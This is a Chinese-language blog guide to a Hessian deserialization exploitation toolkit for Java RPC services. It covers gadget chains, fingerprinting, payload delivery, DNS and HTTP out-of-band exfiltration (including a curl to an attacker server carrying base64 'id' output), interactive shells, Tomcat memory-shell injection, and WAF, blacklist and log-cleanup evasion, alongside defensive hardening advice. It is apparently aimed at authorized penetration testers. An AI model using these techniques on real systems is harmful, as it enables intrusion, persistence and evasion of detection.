Hessian反序列化漏洞利用工具:原理、实现与实战指南

📅 2026/6/26 4:36:00
Hessian反序列化漏洞利用工具:原理、实现与实战指南
1. 项目概述与核心价值最近在整理内部安全审计的案例库发现涉及Hessian协议的反序列化漏洞利用场景越来越常见。很多开发团队在引入基于Hessian的RPC框架时往往只关注其高效的二进制序列化性能却忽略了其潜在的安全风险。我手头正好有一个自己维护和优化了挺长时间的Hessian反序列化漏洞利用工具集今天就来详细聊聊这个工具的设计思路、核心功能以及在实际渗透测试和代码审计中的实战应用。无论你是安全研究员、红队工程师还是负责服务端开发的架构师理解这套工具的原理和使用方法都能帮你更好地认识Hessian协议的安全边界从而在开发中规避风险在测试中精准打击。Hessian作为一种轻量级的二进制RPC协议在Java生态的微服务间通信中应用广泛。它的反序列化过程本质上就是将网络上传来的二进制流还原成内存中的Java对象。问题就出在这个“还原”的过程上——如果攻击者能够控制输入流并精心构造一个包含恶意代码的序列化数据那么反序列化时就有可能触发远程代码执行RCE。这个工具的核心价值就是自动化地完成从漏洞检测、Payload生成到利用验证的全流程将复杂的漏洞利用过程标准化、工具化极大提升安全测试的效率。2. Hessian反序列化漏洞原理深度拆解要理解工具怎么用首先得搞清楚漏洞是怎么产生的。这不能停留在“反序列化不安全”的层面必须深入到Hessian协议的实现细节和Java反序列化的通用机制中去。2.1 Hessian协议序列化机制浅析Hessian协议有自己的序列化格式规范。与Java原生的ObjectOutputStream不同Hessian的序列化流更紧凑。一个对象被序列化后流中主要包含类型定义、字段名和字段值。当接收方通常是Hessian的Hessian2Input读取这个流时它会根据类型信息通过Java的反射机制尝试找到一个匹配的类并调用其特定的反序列化构造函数或readObject、readResolve等方法来重建对象。这里的关键在于“查找类”和“调用方法”这两个环节。Hessian反序列化器在解析流时需要依赖本地的类路径ClassPath来定位对应的类。如果流中指向了一个本地不存在的类默认情况下会抛出ClassNotFoundException。但是如果这个类存在于本地类路径中并且其构造方法或反序列化方法中存在可被利用的逻辑危险就产生了。2.2 通用反序列化利用链的构成Hessian反序列化漏洞的利用通常依赖于一条“利用链”Gadget Chain。这条链由多个类像齿轮一样咬合而成起点Sink一个在反序列化过程中会被自动调用的危险方法例如Runtime.exec()用于执行命令Method.invoke()用于调用任意方法。桥梁Bridge一系列实现了Serializable接口的类它们的readObject、readResolve、hashCode、equals、compareTo等方法在反序列化、集合操作或比较时会被自动触发。这些方法内部调用了其他对象的方法。源头Source最终被传递给起点危险方法的参数通常由攻击者完全控制。Hessian的利用链与原生Java反序列化利用链如CommonsCollections、JDK等有交集但也有区别。因为Hessian有自己的反序列化逻辑它并非直接调用ObjectInputStream.readObject所以一些依赖AnnotationInvocationHandler或特定readObject实现的链在Hessian上可能不工作。工具需要内置针对Hessian协议测试有效的专用链。2.3 Hessian反序列化的特殊性Hessian的反序列化过程有几个特点直接影响利用类型解析Hessian流中通过字符串指定类名。工具在构造Payload时必须准确写入目标类的全限定名。构造函数调用对于某些类Hessian会尝试调用其无参构造函数。如果类没有无参构造则可能利用失败。黑名单机制一些安全的Hessian实现如Hessian的某些服务端会内置黑名单禁止反序列化已知的危险类如org.apache.commons.collections.Transformer。工具需要能绕过或测试黑名单的有效性。版本兼容Hessian有1.0和2.0协议序列化格式有差异。工具需要支持生成不同版本的Payload。理解这些原理后你就会明白一个优秀的利用工具不仅仅是生成一个Payload它还需要处理协议版本、类名映射、链式构造的复杂性以及应对服务端的各种防御措施。3. 工具核心功能模块设计与实现思路我分享的这个工具本质上是一个高度集成化的命令行应用用Java编写核心思路是将漏洞利用的各个环节模块化。下面我拆解一下它的几个核心模块。3.1 漏洞检测与指纹识别模块在真正投递攻击Payload之前确认目标服务是否使用Hessian以及其大致版本是第一步也能避免打草惊蛇。// 简化的探测思路 public class HessianDetector { public DetectionResult detect(String url) { // 1. 发送一个合法的Hessian调用请求如调用一个不存在的简单方法 byte[] probePayload buildProbeCall(__test__); byte[] response sendPost(url, probePayload); // 2. 分析响应 // - 如果返回Hessian特定的错误码如code 500 with Hessian deserialize error则强指示 // - 分析响应头寻找X-Powered-By: Hessian等特征 // - 尝试解析响应是否为Hessian二进制格式魔数判断 // 3. 版本探测发送Hessian 1.0和2.0格式的ping包根据响应差异判断 return result; } }这个模块的关键在于构建尽可能“无害”的探测请求。我通常会尝试调用一个像是系统自带的toString或hashCode方法或者一个极大概率不存在的方法名通过分析返回的异常信息来判断。Hessian协议在错误处理时其异常信息往往包含“Hessian”字样或特定的序列化错误这是很强的指纹特征。注意过于频繁或特征明显的探测请求可能被WAF或IDS拦截。在实际测试中我会将探测流量混杂在正常的业务请求中或者使用不同的User-Agent和间隔时间。3.2 Payload生成与链式构造引擎这是工具的核心。工具内置了一个“Gadget链仓库”里面预置了多条经过验证的、针对不同环境的Hessian反序列化利用链。# 工具内可能预置的链示例 $ java -jar hessian-exploit.jar list-chains 1. CommonsCollections1 (Hessian) - 适用于包含CC3.1以下版本的环境 2. Rome (Hessian) - 利用org.rome:rome依赖链通用性较好 3. XStream (Hessian) - 针对使用了XStream相关类的场景 4. JDK7u21 (Hessian Adapted) - JDK内部链的Hessian适配版 5. Custom Template - 用户自定义链模板每条链都对应一个具体的实现类这个类负责将用户输入的命令如whoami转换成一条完整的、可序列化为Hessian二进制格式的对象链。以一条简化的链为例其构造过程在内存中是这样的用户输入命令touch /tmp/test工具选择CommonsCollections1链模板。引擎开始构造创建一个InvokerTransformer对象其iMethodName设置为execiParamTypes设置为String[]iArgs设置为命令数组。将这个Transformer包裹进ChainedTransformer或ConstantTransformer再放入LazyMap或TiedMapEntry中。最后将这个TiedMapEntry放入一个Hessian协议在反序列化时会自动触发其hashCode或compareTo方法的容器类中例如某个特定的Comparator实现类。使用Hessian库的Hessian2Output将这个最终的对象图序列化成字节数组。这个过程非常复杂因为涉及到反射、动态代理和复杂的对象嵌套。工具的价值就在于把这些细节全部封装起来用户只需要指定目标和命令。3.3 协议封装与流量投递模块生成的Payload是纯二进制数据但需要按照HTTP POST请求的格式发送给目标Hessian服务端。通常Hessian服务端监听一个HTTP端点期望的Content-Type是application/x-hessian。public class ExploitDeliver { public void deliver(String url, byte[] hessianPayload) throws Exception { CloseableHttpClient client HttpClients.createDefault(); HttpPost post new HttpPost(url); // 关键设置正确的Content-Type post.setHeader(Content-Type, application/x-hessian); // 有些实现可能接受 application/octet-stream但前者更标准 post.setEntity(new ByteArrayEntity(hessianPayload)); // 添加迷惑性头部融入正常流量 post.setHeader(User-Agent, Apache-Hessian-Client/1.0); post.setHeader(Accept, */*); HttpResponse response client.execute(post); // ... 处理响应判断利用是否成功 } }这个模块需要处理网络超时、重试、代理等问题。我还会在其中加入一些随机延时和伪造的Referer让攻击流量看起来更“自然”。对于HTTPS目标工具需要正确处理SSL证书验证通常选择信任所有证书以便于测试但这在生产环境中是极不安全的仅限于测试环境。3.4 结果验证与回显处理模块投递Payload后最难的部分往往是判断命令是否执行成功以及获取执行结果。如果目标服务是盲注没有直接回显我们就需要采用外带技术OOB。直接回显如果漏洞触发的RCE能够将命令执行结果直接写入HTTP响应流那是最理想的情况。工具会解析响应提取结果。但这在现实场景中较少见。延时盲注通过执行sleep 5这样的命令观察服务器响应时间是否明显延迟来判断漏洞是否存在和Payload是否生效。工具可以自动化的发送带sleep的Payload并计时。DNS外带这是更可靠的方式。让目标服务器执行nslookup或curl命令将命令执行结果作为子域名的一部分发送到我们控制的DNS服务器。例如执行whoami得到用户root则构造命令让服务器解析root.attacker-domain.com。工具需要集成一个简单的DNS监听器或者调用外部API来接收外带数据。HTTP外带让目标服务器通过curl或wget将命令结果以HTTP GET/POST请求参数的形式发送到我们控制的Web服务器。工具需要启动一个临时的HTTP服务来接收数据。我的工具通常将DNS外带作为默认验证方式因为它成功率相对较高且不易被防火墙完全屏蔽。工具会动态生成一个唯一的子域名构造相应的命令Payload并在后台启动一个线程监听DNS查询请求。4. 工具实战应用与操作指南理论说了这么多我们来看看这个工具具体怎么用。假设工具打包后名为hessian-exploit-kit.jar。4.1 基础漏洞检测首先是对一个疑似Hessian的端点进行指纹识别。$ java -jar hessian-exploit-kit.jar detect -u http://target.com:8080/service/hessian [INFO] 开始探测目标: http://target.com:8080/service/hessian [INFO] 发送Hessian 2.0探测包... [WARN] 目标返回404可能端点路径不正确。 [INFO] 尝试常见Hessian端点路径... [SUCCESS] 在路径 /remoting/OrderService 发现Hessian服务协议版本: 2.0 [INFO] 服务指纹: Apache Hessian / Resin内置Hessian服务这个detect命令会尝试一些常见的Hessian服务路径如/service、/hessian、/remoting/*等并自动识别版本。4.2 利用链自动化测试发现服务后下一步是测试哪些利用链是有效的。工具可以自动化进行。$ java -jar hessian-exploit-kit.jar auto-test -u http://target.com:8080/remoting/OrderService [INFO] 开始自动化链测试使用DNS外带方式验证。 [TEST] 尝试链: CommonsCollections1 - 发送Payload... [OOB] 收到DNS查询: test1-cc1.[随机].dnslog.cn - 链有效 [TEST] 尝试链: Rome - 发送Payload... [OOB] 无响应 - 链可能无效或环境不满足。 [TEST] 尝试链: JDK7u21 - 发送Payload... [OOB] 收到DNS查询: test3-jdk7u21.[随机].dnslog.cn - 链有效 [SUMMARY] 有效链: CommonsCollections1, JDK7u21自动化测试会依次使用内置的每一条链生成一个触发DNS查询的Payload进行投递。如果我们的DNS监听器收到了对应的查询记录就证明这条链可以利用。这个过程帮我们快速摸清目标服务器的组件依赖情况。4.3 命令执行与交互式Shell找到有效链后就可以执行命令了。工具提供两种模式单次命令执行和交互式Shell。# 单次命令执行 $ java -jar hessian-exploit-kit.jar exploit \ -u http://target.com:8080/remoting/OrderService \ -c CommonsCollections1 \ -cmd id [INFO] 使用链 CommonsCollections1 构造Payload。 [INFO] 投递Payload... [INFO] 尝试通过HTTP回显读取结果... [FAIL] 无直接回显切换到DNS外带模式。 [INFO] 构造DNS外带命令: curl http://attacker-server/$(id|base64) [INFO] 请在监听器查看结果...对于需要交互的场景比如上传下载文件、进行内网探测交互式Shell更方便。$ java -jar hessian-exploit-kit.jar shell \ -u http://target.com:8080/remoting/OrderService \ -c JDK7u21 [] 成功建立伪终端输入exit退出。 $ whoami tomcat $ pwd /opt/tomcat/webapps/ROOT $ ls -la ...这个交互式Shell背后工具实际上是将每条命令都编码成一个新的Payload进行发送并通过外带技术通常是HTTP将结果拉取回来模拟出一个终端环境。这个过程会有明显的延迟不适合需要实时响应的操作。4.4 内存马注入高级功能在取得命令执行权限后更深层次的持久化控制是注入内存WebShell。我的工具集成了几种常见Java Web容器的内存马注入功能例如针对Tomcat的Filter型内存马。$ java -jar hessian-exploit-kit.jar memshell \ -u [目标URL] \ -c [有效链] \ -type tomcat-filter \ -path /evil \ -password hello [INFO] 正在生成Tomcat Filter内存马字节码... [INFO] 内存马路径: /evil, 密码: hello [INFO] 注入Payload构造完成开始投递... [SUCCESS] 注入成功访问 http://target.com:8080/app/evil?passwordhello 即可连接。这个功能原理复杂它利用反序列化漏洞在目标JVM中动态创建一个恶意Filter类并将其注册到当前Web应用的Filter链中。此后所有访问特定路径的请求都会先经过这个Filter攻击者通过密码参数即可实现远程命令执行且重启Web应用前不会消失。这是一个危险性极高的后渗透功能仅在获得明确授权的渗透测试中使用。5. 绕过防御与高级利用技巧现在的生产环境不会毫无防护。工具也集成了一些绕过技巧。5.1 应对黑名单过滤很多框架会内置反序列化类黑名单。我们的绕过思路有使用冷门链工具内置的链仓库会包含一些非公开的、利用冷门库的链这些链可能不在默认黑名单内。类名混淆Hessian通过字符串类名查找类。我们可以尝试使用URLClassLoader加载远程的、类名经过混淆的恶意类。工具可以生成一个包含远程加载逻辑的初级Payload。利用数组绕过黑名单可能检查第一个类但忽略数组类型。可以构造com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl[]这样的数组类其组件类型是危险的TemplatesImpl有时能绕过检查。5.2 应对WAF/IDS网络层的防御主要靠特征检测。Payload编码与分片工具支持对Hessian二进制流进行Base64、十六进制编码甚至分割成多个HTTP参数发送在服务端再进行拼接。HTTP参数污染将Payload数据放在不常用的HTTP头部或Cookie中服务端Hessian处理器如果从这些位置读取数据可能绕过WAF对Body的检查。流量加密如果目标服务支持HTTPS且证书可被忽略HTTPS流量本身对WAF就是加密的可以规避基于内容特征的检测。5.3 无文件利用与痕迹清理在高度敏感的环境需要尽可能减少痕迹。纯内存操作所有利用动作包括命令执行、内存马注入都尽量不落地文件。工具生成的Payload应避免触发文件读写。使用已有工具在目标机器上执行命令时优先使用系统自带的工具如bash、powershell、certutil避免上传额外的二进制文件。清理日志工具可以提供辅助命令帮助定位和清理Tomcat访问日志、系统命令历史如.bash_history中相关的条目但这需要已获得较高权限。6. 防御视角如何让你的服务免受此类攻击从防御者角度看了解攻击工具后加固措施就更有针对性。升级与补丁这是最根本的。确保使用的Hessian库、Spring框架、Apache Commons Collections等组件是最新版本已知漏洞已被修复。严格输入校验在Hessian反序列化器之前增加一层校验。可以使用白名单机制只允许反序列化业务明确需要的少数几个类。public class SecureHessianSerializer extends Hessian2Input { private static final SetString ALLOWED_CLASSES Set.of( com.example.dto.Order, com.example.dto.User // ... 仅添加业务必需的类 ); Override protected String readString() throws IOException { String className super.readString(); if (className.startsWith([)) { // 处理数组类 // 解析数组元素类型并检查 } if (!ALLOWED_CLASSES.contains(className)) { throw new IOException(Deserialization of class not allowed: className); } return className; } }使用安全框架考虑使用更安全的序列化方案替代Hessian例如JSON如Jackson、Gson或Protocol Buffers。如果必须用Hessian可以集成安全框架如SerialKiller提供可配置的黑名单/白名单。网络层防护部署WAF并配置针对反序列化攻击的规则检测HTTP请求中是否包含常见的危险类名特征如InvokerTransformer、TemplatesImpl。最小化依赖定期审计项目依赖移除不必要的库。很多利用链都依赖第三方库减少依赖就减少了攻击面。JVM安全管理器配置严格的Java安全策略限制反序列化操作所能访问的资源和权限。7. 工具使用的伦理与法律边界最后也是最重要的一点我必须强调这个工具以及其中涉及的所有技术的使用边界。仅用于授权测试该工具只能在你拥有明确书面授权的系统或你自己完全掌控的实验室环境中使用。未经授权对任何系统进行测试都是违法行为。用于安全研究与教育理解漏洞原理和利用方法是为了更好地修复和防御。你可以用它在可控的漏洞靶场如自己搭建的DVWA漏洞环境、或者专门的Java反序列化靶场进行学习。不传播、不滥用不要将工具或生成的恶意Payload分享给没有授权目的的人。工具的威力很大滥用会造成实质危害。合规留存在授权渗透测试中所有测试过程、使用的工具和产生的结果都需要按照与客户约定的规则进行保存和提交并在测试结束后妥善处理或销毁。我开发和完善这个工具的初衷是为了在内部红蓝对抗和渗透测试服务中提升效率将重复性的手工劳动自动化从而让安全工程师能更专注于逻辑漏洞和更深层次的业务安全问题。每次使用它我都会反复确认授权范围并在测试结束后协助开发团队彻底修复发现的问题。安全是一把双刃剑技术的价值完全取决于使用它的人。